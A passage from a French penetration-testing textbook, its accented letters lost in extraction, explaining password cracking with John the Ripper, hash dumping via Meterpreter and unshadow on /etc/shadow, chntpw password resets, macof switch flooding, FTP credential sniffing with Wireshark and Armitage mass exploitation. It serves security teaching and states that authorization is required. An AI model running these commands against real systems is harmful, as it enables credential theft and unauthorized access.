celui-ci est disponible gratuitement. Vous pouvez le tlcharger partir
de ladresse http://www.openwall.com/john. Avant de le mettre en uvre,
il est important de comprendre comment Microsoft cre les mots de passe
chiffrs.
lorigine, Microsoft chiffrait les mots de passe laide de Lan
Manager (ou LM). Lalgorithme employ tait de pitre qualit et le
craquage des mots de passe tait trivial. Tout dabord, lintgralit du mot
de passe tait convertie en majuscules. Cette opration est une erreur de
base qui rduit la robustesse dun mot de passe. En effet, techniquement,
si nous chiffrons les mots "Secret" et "secret", nous obtenons un hash
diffrent, mme sils ne diffrent que dune seule lettre. Cependant,
puisque LM convertit chaque caractre en majuscules, il rduit
normment le nombre dessais raliser. Au lieu que lassaillant teste
"secret", "Secret", "SECret", etc., cest--dire toutes les combinaisons
possibles de lettres en majuscule et en minuscule, il peut se contenter de
tester "SECRET".
Pour aggraver ce problme, chaque mot de passe de Lan Manager
comprend quatorze caractres. Si le mot de passe saisi en comprend
moins, les lettres manquantes sont remplaces par des valeurs nulles. Si le
mot de passe saisi en comprend plus, il est tronqu quatorze caractres.
Pour enfoncer le clou, les mots de passe de Lan Manager, qui ont
prsent une taille de quatorze caractres, sont enregistrs sous forme de
deux mots de passe individuels de sept caractres. La taille dun mot de
passe influe directement sur sa robustesse. Malheureusement, en raison
de la conception de LM, le plus long mot de passe craquer comprend
uniquement sept caractres. John the Ripper va donc tenter de craquer
individuellement chaque moiti de sept caractres dun mot de passe, ce
qui lui demandera peu de travail.
Prenons le temps de rflchir ces dfauts. Runis, ils font souffler un
vent de risque sur nimporte quel systme. Supposons que notre
administrateur rseau prfr, Alain Trieur, se serve des mots de passe
LM sur sa machine Windows. Il est conscient des dangers des mots de
passe faibles et cre donc le mot de passe suivant quil pense robuste :
SuperMotSecret!@#$.
Malheureusement pour Alain, il vit avec un faux sentiment de scurit.
Son mot de passe complexe va subir plusieurs modifications qui vont le
rendre beaucoup moins robuste. Tout dabord, il est converti en
majuscules : SUPERMOTSECRET!@#$. Ensuite, il est tronqu
prcisment quatorze caractres, les lettres suivantes tant simplement
ignores : SUPERMOTSECRET. Enfin, il est dcoup en deux parties
gales de sept caractres : SUPERMO et TSECRET.
Si un hacker ou un testeur dintrusion met la main sur le mot de passe
dAlain, il doit craquer deux mots de passe simples de sept caractres en
majuscule. La tche est devenue beaucoup plus simple quavec le passe
du mot de passe dorigine SuperMotSecret!@#$.
Heureusement, Microsoft a corrig ces problmes et utilise prsent
NTLM (NT Lan Manager) pour chiffrer les mots de passe. Cependant, en
tant que testeur dintrusion, vous rencontrerez des systmes qui utilisent et
stockent des mots de passe LM. Les versions rcentes de Windows
nutilisent plus LM, mais il existe des options pour activer celui-ci sur ces
systmes. Cette fonctionnalit a pour objectif dassurer la
rtrocompatibilit avec les anciens systmes. Vous laurez compris, vous
devez toujours mettre niveau les anciens logiciels qui se fondent sur les
mots de passe LM, ou arrter de les utiliser. Avec les vieux systmes,
lintgralit du rseau est en danger.
John the Ripper est capable de craquer les mots de passe en utilisant un
dictionnaire ou en combinant des lettres. Nous lavons expliqu
prcdemment, les dictionnaires de mots de passe sont des listes
prdfinies de mots en clair et de combinaisons de lettres. Lutilisation
dun dictionnaire a lavantage dtre trs efficace. En revanche, si le mot
de passe prcis est absent du dictionnaire, John the Ripper chouera. Une
autre solution consiste utiliser toutes les combinaisons de lettres
possibles. Le logiciel va gnrer des mots de passe en squence, jusqu
ce quil ait puis toutes les possibilits. Par exemple, il va commencer
par le mot de passe dune seule lettre "a". Si cela ne convient pas, il tente
ensuite "aa". En cas de nouvel chec, il passe "aaa", etc. Cette
approche est plus lente que celle fonde sur le dictionnaire, mais, en lui
accordant suffisamment de temps, le mot de passe finira par tre trouv.
Si nous essayons lintgralit des combinaisons de lettres possibles, le mot
de passe na aucune chance. Cependant, il est important de comprendre
que cette solution applique des mots de passe de longueur importante
chiffrs avec un algorithme digne de ce nom demandera normment de
temps.
John the Ripper est fourni avec Kali. Son excutable se trouvant dans le
rpertoire /usr/sbin/, il suffit de saisir la commande suivante pour
lexcuter :
john
En supposant que le fichier mdp_chiffres.txt se trouve dans le dossier
/tmp/, voici comment nous pouvons le soumettre John the Ripper :
john /tmp/mdp_chiffres.txt
john invoque le programme de craquage des mots de passe John the
Ripper. /tmp/mdp_chiffres.txt prcise lemplacement du fichier des mots
de passe chiffrs que nous a donn SamDump2. Si vous avez enregistr
ce fichier sous un autre nom ou dans un autre rpertoire, vous devez
adapter ce chemin.
John the Ripper est capable de dterminer le type de mot de passe que
nous souhaitons craquer, mais il est toujours prfrable dtre prcis.
Pour cela, nous utilisons loption --format=nom_format. Le logiciel
reconnat des dizaines de formats diffrents, dont vous trouverez les
dtails dans la documentation ou sur le site web dopenwall.com.
Rappelons que la plupart des systmes Windows modernes utilisent
NTLM. Si cest le cas de votre cible, ajoutez loption --format=nt la
commande :
john /tmp/mdp_chiffres.txt --format=nt
Aprs que nous avons saisi la commande approprie pour lancer John the
Ripper, il tente de craquer les mots de passe contenus dans le fichier
mdp_chiffres.txt. Sil y parvient, il affiche le mot de passe trouv
lcran. La Figure 4.10 montre les commandes utilises pour lancer John
the Ripper, ainsi que le nom dutilisateur et le mot de passe quil a pu
craquer. Il affiche gauche le mot de passe en clair et droite le nom
dutilisateur plac entre des parenthses.
Figure 4.10
Mots de passe craqus par John the Ripper.
Nous rcapitulons ci-aprs les tapes du craquage des mots de passe
Windows. Noubliez pas que cette procdure concerne les attaques
menes localement, avec un accs physique la machine cible. Il est
important que vous pratiquiez et compreniez chacune des tapes
indiques. Si vous disposez dun accs physique la machine, vous devez
pouvoir raliser les tapes 1 4 en moins de cinq minutes. La dure de
ltape 5, le craquage effectif des mots de passe, dpendra de vos
ressources et de la qualit ou de la robustesse des mots de passe. Vous
devez tre suffisamment familier avec chaque tape pour pouvoir les
raliser sans laide de notes ou dune fiche :
1. Arrter la machine cible.
2. Dmarrer la machine cible sous Kali ou un autre systme
dexploitation en utilisant un CD live ou une cl USB.
3. Monter le disque dur local.
4. Utiliser SamDump2 pour extraire le mot de passe chiffr.
5. Utiliser John the Ripper pour craquer les mots de passe.
Craquage distance des mots de passe
Puisque nous savons prsent comment craquer les mots de passe en
local, nous pouvons prendre le temps dexpliquer comment procder
distance. Pour craquer des mots de passe sur un systme distant, il faut en
gnral russir lancer un exploit sur la machine cible. Dans notre
exemple prcdent, nous avons utilis Metasploit pour envoyer une
charge VNC la cible distante. Bien que cette charge donne un rsultat
plutt amusant, le shell Meterpreter permet dobtenir un accs plus
intressant. En utilisant Metasploit pour disposer dun shell distant sur la
cible, nous obtenons un accs un terminal de commande qui nous
permet, entre autres, de recueillir trs facilement les mots de passe
chiffrs. Lorsquune session Meterpreter sexcute sur la cible, il suffit
de saisir la commande hashdump. Meterpreter contourne tous les
mcanismes de scurit Windows existants et prsente la liste des
utilisateurs et des mots de passe chiffrs. La Figure 4.11 illustre lexploit
MS08-067 avec une charge Meterpreter. Vous le constatez, la
commande hashdump permet dobtenir les noms dutilisateurs et les mots
de passe chiffrs sur la machine cible.
Figure 4.11
Utiliser Meterpreter pour accder distance aux mots de passe chiffrs.
Ces mots de passe chiffrs peuvent tre copis directement depuis la
fentre de terminal et colls dans un fichier texte. Avec ces mots de
passe en notre possession, nous pouvons nous tourner vers John the
Ripper pour essayer de les craquer.
Craquage des mots de passe Linux et lvation des privilges
Pour craquer des mots de passe Linux et OS X, la mthode ressemble
normment la prcdente, quelques petites modifications prs. Les
systmes Linux ne stockent pas les mots de passe chiffrs dans un fichier
SAM. la place, ils se trouvent dans le fichier /etc/shadow.
Malheureusement, seuls les utilisateurs qui disposent des autorisations
suffisantes peuvent accder au fichier /etc/shadow. Si nous disposons du
niveau de privilge appropri pour consulter ce fichier, nous pouvons
simplement copier les noms dutilisateurs et les mots de passe chiffrs,
puis craquer les mots de passe avec John the Ripper. Cependant, la
plupart des utilisateurs nont pas accs ce fichier.
Heureusement, si nous ne disposons pas des droits suffisants pour
consulter le fichier /etc/shadow, nous pouvons employer une autre
mthode. Linux recense galement les mots de passe dans /etc/passwd.
Cette liste est gnralement lisible par tous les utilisateurs et nous pouvons
exploiter une fonction de John the Ripper pour combiner les listes
/etc/shadow et /etc/password. Nous obtenons une seule liste qui comprend
les mots de passe chiffrs originaux. Elle peut ensuite tre passe John
the Ripper afin quil soccupe du craquage.
Par de nombreux aspects, cette approche quivaut lutilisation du
fichier system avec le fichier SAM afin dextraire les mots de passe
chiffrs de Windows. Les utilisateurs qui ne disposent pas des droits
suffisants combineront les listes /etc/shadow et /etc/passwd en utilisant la
commande unshadow :
unshadow /etc/passwd /etc/shadow > /tmp/linux_mdp_chiffres.txt
Elle runit les fichiers /etc/passwd et /etc/shadow, et stocke les rsultats
dans le fichier nomm linux_mdp_chiffres.txt dans le rpertoire /tmp.
prsent que nous avons rcupr les mots de passe chiffrs du systme
Linux, nous sommes presque prts les craquer. Puisque la plupart des
systmes Linux modernes utilisent lalgorithme de hachage SHA, nous
devons vrifier que notre version de John the Ripper prend en charge ce
format. Si ce nest pas le cas, il faudra tout dabord mettre jour le
logiciel. Dans laffirmative, nous lanons le craquage laide de la
commande suivante :
john /tmp/linux_mdp_chiffres.txt
John the Ripper dispose de nombreuses autres options qui permettent
damliorer la rapidit du craquage et daugmenter les chances de
russite. Prenez le temps de les dcouvrir.
Rinitialisation des mots de passe
Il existe une autre possibilit dattaquer les mots de passe. Cette technique
se fait localement et ncessite un accs physique la machine cible. Elle
se rvle trs efficace pour obtenir un accs la cible, mais elle est trs
bruyante. La section prcdente a trait du craquage des mots de passe.
Si un testeur dintrusion habile est capable daccder une machine cible
pendant quelques minutes, il peut rcuprer une copie des mots de passe
chiffrs. Toutes choses considres, cette attaque peut tre trs discrte
et difficile dtecter. Dans la plupart des cas, le testeur dintrusion
laissera peu dindices de sa visite sur la cible. Noubliez pas quil peut
enregistrer les mots de passe hors de la cible et les craquer ensuite
comme bon lui semble.
La rinitialisation dun mot de passe est une autre technique qui permet
daccder un systme ou daugmenter les privilges, mais elle est moins
subtile que le craquage des mots de passe. Nous pourrions la comparer
un voleur qui lance un bulldozer au travers de la vitrine dun magasin
afin daccder aux marchandises. Ou, mieux encore, lutilisation dune
grue et dune boule de dmolition pour percer un trou dans le mur plutt
que passer par une fentre ouverte. La solution sera certes efficace, mais
vous pouvez tre certain que le propritaire du magasin et les employs
sauront que quelquun est entr.
Dans la technique de rinitialisation des mots de passe, lassaillant crase
le fichier SAM et cre un nouveau mot de passe pour nimporte quel
utilisateur sur un systme Windows rcent. Lopration peut tre ralise
sans connatre le mot de passe dorigine, mais, comme nous lavons
indiqu, elle ncessite un accs physique la machine.
Comme pour les autres techniques prsentes dans cet ouvrage, il est
essentiel que vous receviez lautorisation de mener cette attaque. Il est
galement important que vous compreniez ses implications. Une fois le
mot de passe chang, il ne peut plus tre restaur. Pour reprendre
lanalogie avec la boule de dmolition, la technique est efficace mais le
mur dorigine ne sera plus jamais le mme. Lorsque vous rinitialiserez
un mot de passe, lutilisateur constatera sa modification ds quil essaiera
douvrir une session.
Nanmoins, cette technique reste incroyablement puissante et trs
pratique pour obtenir un accs au systme. Pour la mettre en uvre, nous
devons nouveau redmarrer le systme cible partir dun DVD ou
dune cl USB avec Kali. Ensuite, nous monterons le disque dur du
systme qui contient le fichier SAM. Les instructions correspondantes ont
t donnes la section prcdente.
Ensuite, nous utilisons la commande chntpw pour rinitialiser le mot de
passe. Ses diffrentes options peuvent tre examines en excutant la
commande suivante :
chntpw -h
Supposons que nous voulions rinitialiser le mot de passe de
ladministrateur de la machine cible. Voici la commande employer :
chntpw -i /mnt/sda1/WINDOWS/system32/config/SAM
chntpw lance le programme de rinitialisation du mot de passe. Loption -
i le place en mode interactif afin que nous puissions choisir le compte
dutilisateur. Le chemin /mnt/sda1/WINDOWS/system32/config/SAM
dsigne lemplacement du fichier SAM dans le rpertoire mont. Il est
important de vrifier que vous avez accs au fichier SAM, car tous les
lecteurs ne sont pas dsigns par sda1. La commande fdisk -l vous aidera
dterminer le lecteur appropri.
Le programme affiche dans un menu interactif plusieurs options qui nous
permettent de rinitialiser le mot de passe de lutilisateur choisi. Chacune
des tapes est clairement prsente et dcrite ; prenez le temps de lire ce
qui est demand. Loutil dfinit des rponses par dfaut et, dans la plupart
des cas, nous devons simplement appuyer sur la touche Entre pour les
accepter.
La premire question pose correspond "Que souhaitez-vous faire ?
[1]" (voir Figure 4.12). Au-dessus de la question, plusieurs rponses sont
proposes. Il suffit de saisir le numro ou la lettre de la rponse souhaite
et dappuyer sur Entre. La partie "[1]" qui vient aprs la question
indique que la rponse "1" est choisie par dfaut.
Figure 4.12
Le menu interactif de chntpw.
Puisque nous avons prvu de rinitialiser le mot de passe de
ladministrateur, nous pouvons taper 1 et appuyer sur Entre, ou
simplement appuyer sur cette touche pour accepter la proposition par
dfaut. Nous obtenons ensuite la liste des utilisateurs existants sur la
machine Windows locale. Pour indiquer lutilisateur concern, nous
saisissons son nom tel quil est affich. Le choix par dfaut est
"Administrateur" (voir Figure 4.13).
Figure 4.13
Liste des utilisateurs disponibles.
nouveau, nous appuyons simplement sur la touche Entre pour
accepter la proposition par dfaut. Les diffrentes options qui nous sont
alors prsentes nous permettent de modifier lutilisateur sur la machine
cible (voir Figure 4.14). Notez que pour cette tape nous ne choisirons
pas loption par dfaut !
Figure 4.14
Le menu de modification dun utilisateur.
la place de choix par dfaut, nous slectionnons loption "1" afin
deffacer le mot de passe. Lorsque lopration est termine, nous
obtenons le message "Password cleared!". ce stade, nous pouvons
rinitialiser le mot de passe dun autre utilisateur ou saisir "!" pour sortir
du programme. Il est important que nous achevions les tapes restantes,
car, ce stade, le nouveau fichier SAM na pas t crit sur le disque
dur. Dans le menu, nous choisissons "q" afin de quitter le programme
chntpw. Nous sommes invits enregistrer les modifications sur le disque
dur. Faites attention choisir "y", car loption par dfaut est "n".
Le mot de passe de lutilisateur slectionn est prsent vide. Nous
pouvons teindre Kali laide de la commande reboot et jecter le DVD.
Aprs que Windows a redmarr, nous pouvons ouvrir une session avec
le compte dadministrateur en ne saisissant aucun mot de passe.
Avec un peu de pratique, lintgralit de la procdure, y compris le
redmarrage de Kali, leffacement du mot de passe et le redmarrage
sous Windows, peut se faire en moins de cinq minutes.
Wireshark
Pour obtenir un accs un systme, une autre technique rpandue
consiste couter le rseau. Il sagit de capturer et de visualiser le trafic
pendant son transit. Plusieurs des protocoles employs aujourdhui
envoient encore les informations sensibles et importantes sans les
chiffrer. Ce trafic rseau transmis sans chiffrement est appel texte en
clair, car il peut tre lu par un tre humain et ne ncessite aucun
dchiffrement. Lcoute dun tel trafic rseau est un moyen trivial mais
efficace dobtenir un accs des systmes.
Avant de commencer analyser le trafic, il est important de comprendre
certaines donnes de base sur le rseau, commencer par la diffrence
entre le mode promiscuit (promiscuous mode) et les autres modes.
La plupart des cartes rseau oprent par dfaut en mode non-
promiscuit. Cela signifie que la carte dinterface rseau (NIC, Network
Interface Card) ne transmet que le trafic qui lui est destin. Si elle reoit
un trafic qui correspond son adresse, elle passe les paquets au systme
en vue de leur traitement. Si le trafic reu ne correspond pas son
adresse, elle ignore simplement les paquets. Ce mode de fonctionnement
peut tre compar au travail de louvreur de cinma. Il empche les
personnes dentrer dans la salle, sauf si elles ont le billet qui correspond
au film.
En mode promiscuit, la carte rseau est oblige daccepter tous les
paquets qui arrivent. Ils sont tous transmis au systme, quils lui soient
destins ou non.
Pour russir couter le trafic rseau qui ne nous est pas normalement
destin, nous devons nous assurer que la carte est configure en mode
promiscuit.
Vous pourriez vous demander comment un trafic rseau peut arriver sur
un ordinateur ou un appareil alors quil ne lui est pas destin. Ce cas peut
se produire dans plusieurs scnarios. Tout dabord, tout trafic diffus sur
le rseau sera envoy tous les appareils connects. Ce sera galement
le cas dans les rseaux qui utilisent des concentrateurs la place des
commutateurs.
Un concentrateur fonctionne en transmettant tout le trafic quil reoit
tous les appareils connects ses ports physiques. Dans les rseaux
architecturs autour dun concentrateur, les cartes rseau annulent
constamment les paquets qui ne leur sont pas destins. Par exemple,
supposons que nous ayons un petit concentrateur de huit ports auxquels
sont connects huit ordinateurs. Dans cet environnement, lorsque le PC
branch au port 1 souhaite envoyer un message celui branch au port 7,
le message (le trafic rseau) est en ralit transmis tous les ordinateurs
connects au concentrateur. En supposant que tous les ordinateurs
fonctionnent en mode non-promiscuit, les machines de 2 6 et 8 se
contentent dignorer ce trafic.
Nombreux sont ceux croire quil est possible de corriger cela en
remplaant le concentrateur par un commutateur. En effet, contrairement
au concentrateur, qui diffuse tout le trafic tous les ports, les
commutateurs sont beaucoup plus discrets. Lorsquun ordinateur est
connect un commutateur, celui-ci enregistre ladresse MAC de la
carte dinterface rseau. Il les utilise ensuite (adresse MAC et numro de
port du commutateur) pour router de manire intelligente le trafic vers
une machine spcifique sur un port prcis. Reprenons lexemple
prcdent. Dans le cas o un commutateur est utilis et si le PC 1 envoie
un message au PC 7, le commutateur analyse le trafic rseau et consulte
la table qui associe ladresse MAC au numro de port. Il envoie le
message uniquement lordinateur connect au port 7. Les appareils 2
6 et 8 ne reoivent pas ce trafic.
Macof
Il faut savoir que la caractristique de routage discret dun commutateur
a t initialement conue pour amliorer non pas la scurit mais les
performances. Par consquent, toute amlioration de la scurit doit tre
considre comme un effet secondaire de la conception plutt que
comme un objectif initial. En gardant cela lesprit et avant de vous
lancer dans le remplacement de tous vos concentrateurs par des
commutateurs, vous devez savoir que des outils permettent de configurer
un commutateur pour quil se comporte comme un concentrateur.
Autrement dit, dans certains cas, nous pouvons faire en sorte quun
commutateur diffuse tout le trafic vers tous les ports, exactement comme
un concentrateur.
La plupart des commutateurs sont quips dune quantit de mmoire
limite pour le stockage de la table qui associe les adresses MAC et les
numros de ports. En puisant cette mmoire et en inondant la table avec
des adresses MAC errones, un commutateur sera souvent incapable
daccder aux entres valides ou de les lire. Puisquil ne peut pas
dterminer le port qui correspond une adresse, il diffuse simplement le
trafic tous les ports. Ce fonctionnement est appel fail open. Ce principe
douverture en cas de dfaillance signifie simplement que lorsque le
commutateur ne parvient pas router correctement et discrtement le
trafic il se replie sur un fonctionnement de type concentrateur (ouvert)
dans lequel tout le trafic est envoy tous les ports.
Vous devez savoir que certains commutateurs sont configurs en mode
fail closed. Ils fonctionnent alors exactement loppos dun
commutateur en mode fail open. Au lieu de diffuser tout le trafic vers tous
les ports, le commutateur arrte simplement de router les paquets
(ferm). Cependant, en tant que testeur dintrusion ou hacker, cette
configuration a galement un bon ct. Si vous tes capable de bloquer le
travail du commutateur, vous stoppez tout le trafic sur le rseau et
provoquez un dni de service.
Supposons que, au cours du test dintrusion, nous ayons dcouvert un
commutateur dont ladresse IP est 192.168.56.2. Supposons que la
machine que nous utilisons (directement ou suite un pivotement) soit
connecte au commutateur et que nous souhaitions couter le trafic qui
passe par lappareil afin de dcouvrir des cibles supplmentaires et de
reprer des mots de passe en clair.
dsniff est une collection doutils trs intressants qui fournissent de
nombreuses fonctions utiles pour lcoute du trafic rseau. Nous vous
conseillons de prendre le temps dexaminer chacun des outils fournis
avec dsniff, ainsi que leur documentation. Lun de ces outils, dvelopp
par Dug Song, se nomme macof. Il permet dinonder un commutateur
avec des centaines dadresses MAC alatoires. Si le commutateur est
configur en ouverture en cas de dfaillance, il va se comporter comme
un concentrateur et diffuser le trafic vers tous les ports. Cela nous
permettra de passer outre le routage slectif du commutateur et
danalyser tous les paquets qui traversent lappareil. macof est intgr
Kali et peut tre utilis en excutant la commande suivante :
macof -i eth0 -s 192.168.56.101 -d 192.168.56.2
Dans cet exemple, macof invoque le programme. Celui-ci gnre des
centaines dadresses MAC et en inonde le rseau. Loption -i permet de
prciser la carte rseau de lordinateur. Cest partir de cette carte que
les adresses MAC seront envoyes. Loption -s sert indiquer ladresse
source. Loption -d fixe la destination ou la cible de lattaque. La
Figure 4.15 illustre lutilisation de la commande macof, avec un extrait de
la sortie gnre.
Figure 4.15
Inonder un commutateur avec macof.
Vous devez savoir que macof va gnrer un trafic rseau trs important,
ce qui le rend aisment dtectable. Vous devez employer cette technique
uniquement lorsque la discrtion nest pas un point essentiel.
Nous avons donc le concept de mode promiscuit et la possibilit
dcouter le trafic qui passe par un commutateur. Nous pouvons alors
nous servir dun autre outil rpandu pour examiner et capturer le trafic
rseau : Wireshark. Wireshark a t initialement dvelopp par Gerald
Combs en 1998. Il sagit dun analyseur de protocole rseau gratuit qui
nous permet dexaminer et de capturer facilement et rapidement le trafic
rseau. Il est disponible en tlchargement ladresse
http://www.wireshark.org. Cet outil montre une grande souplesse et une
grande maturit. Avant 2006, il sappelait Ethereal. Bien que le
programme soit rest le mme, le nom a chang en raison de problmes
de marque dpose.
Wireshark est intgr Kali. Il peut tre lanc au travers du menu des
programmes ou depuis une fentre de terminal en saisissant la commande
suivante :
wireshark
Avant de lancer Wireshark, vrifiez que vous avez activ et configur
au moins une interface rseau. Les instructions ont t donnes au
Chapitre 1.
Au premier dmarrage de Wireshark dans Kali, un message indique que
son excution sous le compte dutilisateur root peut se rvler
dangereuse. Cliquez sur le bouton Valider pour confirmer la lecture de
cet avertissement. Vous devez ensuite slectionner la carte rseau et
vrifier quelle est configure de faon capturer tout le trafic. Pour
cela, cliquez sur licne de carte rseau et de menu qui se trouve dans
langle suprieur gauche de la fentre (voir Figure 4.16).
Figure 4.16
Le bouton de slection de linterface de capture.
En cliquant sur ce bouton, une nouvelle fentre affiche toutes les
interfaces disponibles et permet de slectionner linterface approprie.
Vous pouvez dbuter par une capture simple en choisissant une interface,
en acceptant les valeurs par dfaut et en cliquant sur le bouton Start. Pour
ajuster la configuration de la capture, cliquez sur le bouton Options. La
Figure 4.17 illustre la fentre Wireshark de slection de linterface de
capture.
Figure 4.17
La fentre de slection de linterface de capture.
Toujours dans notre objectif dapprendre les bases, conservez les valeurs
par dfaut et cliquez sur le bouton Start. Si lactivit rseau est intense, la
fentre de capture de Wireshark devrait se remplir rapidement et
continuer voir arriver des paquets tant que la capture nest pas arrte.
Ne vous proccupez pas dexaminer ces informations sur le vif.
Wireshark nous permet denregistrer les rsultats de la capture afin de
les tudier ultrieurement.
Au Chapitre 3, nous avons indiqu quun serveur FTP sexcutait sur
notre cible Linux (Metasploitable). Pour illustrer la puissance de lcoute
du rseau, nous allons dmarrer une capture Wireshark, puis nous
connecter au serveur FTP de la cible partir dune fentre de terminal.
Pour cela, il suffit dutiliser la commande ftp en prcisant ladresse IP du
serveur :
ftp adresse_ip_du_serveur_ftp
ce stade, vous arrivez une invite douverture de session. Saisissez le
nom dutilisateur aterieur et le mot de passe toor. Notez que ces
informations didentification auprs du serveur FTP de Metasploitable
sont invalides, mais, dans le cadre de cette dmonstration, ce nest pas un
problme. Laissez Wireshark capturer des paquets pendant plusieurs
secondes aprs la tentative douverture de session, puis stoppez la
capture en cliquant sur le bouton qui reprsente une carte rseau
accompagne dune croix rouge (voir Figure 4.18).
Figure 4.18
Le bouton darrt de la capture.
Aprs que la capture a t arrte, nous pouvons examiner les paquets
rcuprs par Wireshark. Vous devez prendre le temps dexaminer la
capture et de tenter didentifier des informations intressantes. Comme le
montre la Figure 4.19, les paquets capturs nous permettent de retrouver
le nom dutilisateur (ligne 16), le mot de passe (ligne 20) et ladresse IP
du serveur FTP ! Mme si les informations de connexion taient invalides,
vous pouvez constater que le nom dutilisateur et le mot de passe ont t
envoys en clair sur le rseau et ont t capturs par notre machine
dattaque. De nombreuses entreprises se servent encore de protocoles qui
transmettent les informations en clair. Si nous avions enregistr une
session relle au cours de laquelle un utilisateur avait russi
sauthentifier auprs du serveur, nous aurions pu utiliser ces informations
pour nous y connecter galement.
Figure 4.19
Utiliser Wireshark pour rcuprer les informations de connexion au
serveur FTP.
Si la capture est ralise sur un rseau lactivit intense, le volume des
paquets capturs risque de compliquer leur analyse. Lexamen manuel
dun grand nombre de paquets peut ne pas tre envisageable.
Heureusement, Wireshark dispose dun fixe qui permet de limiter les
rsultats affichs et daffiner une recherche. Avec lexemple prcdent,
saisissez ftp dans le champ Filter et cliquez sur le bouton Apply.
Wireshark retire alors tous les paquets qui ne concernent pas le protocole
FTP. Lanalyse sen trouve considrablement facilite. Wireshark
propose de nombreux filtres incroyablement puissants. Prenez le temps de
les examiner et de les matriser. Pour retirer un filtre actif et revenir la
capture dorigine, cliquez sur le bouton Clear.
Armitage
Armitage est une interface graphique pour Metasploit qui nous donne la
possibilit de "hacker comme au cinma". Disponible gratuitement, elle
est dj intgre BackTrack. Si vous utilisez Kali, il vous faudra peut-
tre tout dabord linstaller. Toutes les informations sur Armitage sont
disponibles sur le site officiel du projet, ladresse
http://www.fastandeasyhacking.com/.
Info
Si Armitage nest pas install sur votre version de Kali, procdez son
installation en excutant la commande suivante :
apt-get install armitage
Ensuite, vous devez dmarrer le service PostgreSQL :
service postgresql start
ce stade, vous devez pouvoir utiliser Armitage comme nous
lexpliquons dans cette section. Si le message derreur "Try setting
MSF_DATABASE_CONFIG to a file that exists" saffiche, excutez la
commande suivante et relancez Armitage :
service metasploit start
Dans une section antrieure, nous avons expliqu comment utiliser
Metasploit pour prendre le contrle dun systme vulnrable auquel les
correctifs navaient pas t appliqus. Armitage repose sur Metasploit,
mais, au lieu que le testeur dintrusion se plonge dans les vulnrabilits et
la correspondance avec des exploits, Armitage se charge dautomatiser
lintgralit de la procdure. En utilisant sa fonction "Hail Mary", le
travail du testeur dintrusion peut se limiter la saisie de ladresse IP de
la cible et du clic sur quelques icnes.
La fonction Hail Mary na rien de subtil ni de discret. Elle effectue un
scan des ports sur la cible et, en fonction des informations obtenues,
Armitage lance tous les exploits connus ou possibles sur la cible. Mme si
Armitage parvient obtenir un accs, il continue lancer des attaques
tout va contre la cible jusqu ce que tous les exploits possibles aient t
essays. Utilis sur des cibles peu scurises, il permet en gnral
dobtenir plusieurs shells.
Il est important de souligner quArmitage peut tre employ de manire
beaucoup plus subtile, y compris pour effectuer la reconnaissance et les
scans dune seule cible. Cependant, lobjectif de cet ouvrage est de
prendre une approche mitraillette en envoyant autant de balles que
possible, en se focalisant sur le volume plutt que sur la prcision.
Armitage peut tre lanc partir des menus de Kali ou en saisissant la
commande armitage depuis un terminal :
armitage
Le programme affiche une bote de dialogue de connexion (voir
Figure 4.20). Pour dmarrer Armitage, vous pouvez laisser les valeurs
par dfaut et cliquer sur le bouton Connect.
Figure 4.20
Dmarrer Armitage.
Il vous est ensuite demand si vous souhaitez dmarrer Metasploit.
Choisissez la rponse par dfaut Oui. Une bote de dialogue affiche le
message "java.net.ConnectionException: Connection refused". Laissez-la
pendant quArmitage et Metasploit procdent la configuration
ncessaire. Vous finirez par obtenir linterface graphique illustre la
Figure 4.21.
Figure 4.21
Lcran initial dArmitage.
Lcran principal dArmitage comprend deux parties. La zone
suprieure est linterface graphique qui permet dinteragir avec
Metasploit, tandis que la zone infrieure permet des interactions en ligne
de commande (comme si vous utilisiez le terminal plutt que linterface
graphique). Les deux volets peuvent tre employs pour interagir avec la
cible. Lorsque des actions sont ralises laide de linterface graphique,
de nouveaux onglets souvrent automatiquement dans la partie infrieure.
Vous pouvez cliquer dessus et saisir des commandes dans le terminal
affich.
Attention
Armitage propose de trs nombreuses fonctionnalits qui vont au-del de
lattaque Hail Mary que nous allons utiliser. Prenez le temps ncessaire
pour dcouvrir son plein potentiel.
Pourquoi apprendre cinq outils alors quun seul suffit ?
Lorsque tout le reste a chou, nous pouvons avoir recours la
mitrailleuse. Pour cela, la solution la plus simple consiste utiliser
lattaque Hail Mary dArmitage. Cependant, avant que nous puissions
diffuser des exploits sur notre cible, nous devons au pralable effectuer
un petit travail. Tout dabord, nous devons demander Armitage de
scanner le rseau local et didentifier les cibles potentielles. Pour cela, il
suffit de slectionner Hosts dans le menu et de choisir Quick Scan (OS
detect) (voir Figure 4.22).
Figure 4.22
Lancer un scan Nmap partir dArmitage afin didentifier des cibles.
Nous devons ensuite prciser ladresse IP ou la plage dadresses
scanner. Une fois le scan termin, les cibles identifies saffichent sous
forme dun cran dans lespace de travail. La Figure 4.23 en montre un
exemple. Une bote de dialogue apparat galement afin dindiquer que
les exploits peuvent tre trouvs en utilisant le menu Use Attacks > Find
Attacks.
Figure 4.23
Armitage a identifi une cible potentielle.
Si Armitage a trouv au moins une cible potentielle, nous pouvons faire
dferler des exploits en slectionnant Attacks > Hail Mary (voir
Figure 4.24).
Figure 4.24
Lancer une attaque Hail Mary avec Armitage.
En choisissant loption Hail Mary, Armitage va lancer un flot dexploits
contre la cible. Les commandes seront excutes et mises
automatiquement. La procdure peut prendre plusieurs minutes avant de
se terminer. La progression de lattaque est affiche en partie infrieure
de la fentre. Armitage indique galement lavance de la procdure par
lintermdiaire dune barre de progression. ce stade, Armitage met en
lien les dcouvertes effectues par Nmap et les exploits disponibles dans
Metasploit. Il envoie tout exploit pertinent sur la cible. Cette approche na
videmment rien de discret. Faites attention lcran qui reprsente la
cible dans linterface graphique dArmitage. Si la machine a pu tre
compromise, licne est accompagne dclairs. La Figure 4.25 montre
un exemple de cible compromise avec deux shells distants actifs.
Figure 4.25
Succs dArmitage, avec deux shells distants actifs.
Lorsque Armitage na plus dexploit essayer, nous pouvons consulter
les shells obtenus en cliquant le bouton droit sur lcran de la cible (voir
Figure 4.26).
Figure 4.26
Interagir avec un shell distant dmarr par Armitage.
ce stade, nous pourrons interagir avec la cible, lui envoyer des
programmes et des outils, ou raliser dautres attaques. Pour activer un
shell et excuter des commandes sur la cible distante, cliquez sur larticle
Interact. Vous pourrez ainsi saisir et excuter des commandes dans la
fentre de terminal affiche par Armitage. Toutes les commandes
sexcuteront sur la machine distante comme si vous y aviez accs
physiquement et les saisissiez dans un terminal local.
La phase dexploitation de cette cible est prsent termine !
Mettre en pratique cette phase
La pratique de lexploitation fait partie des expriences les plus
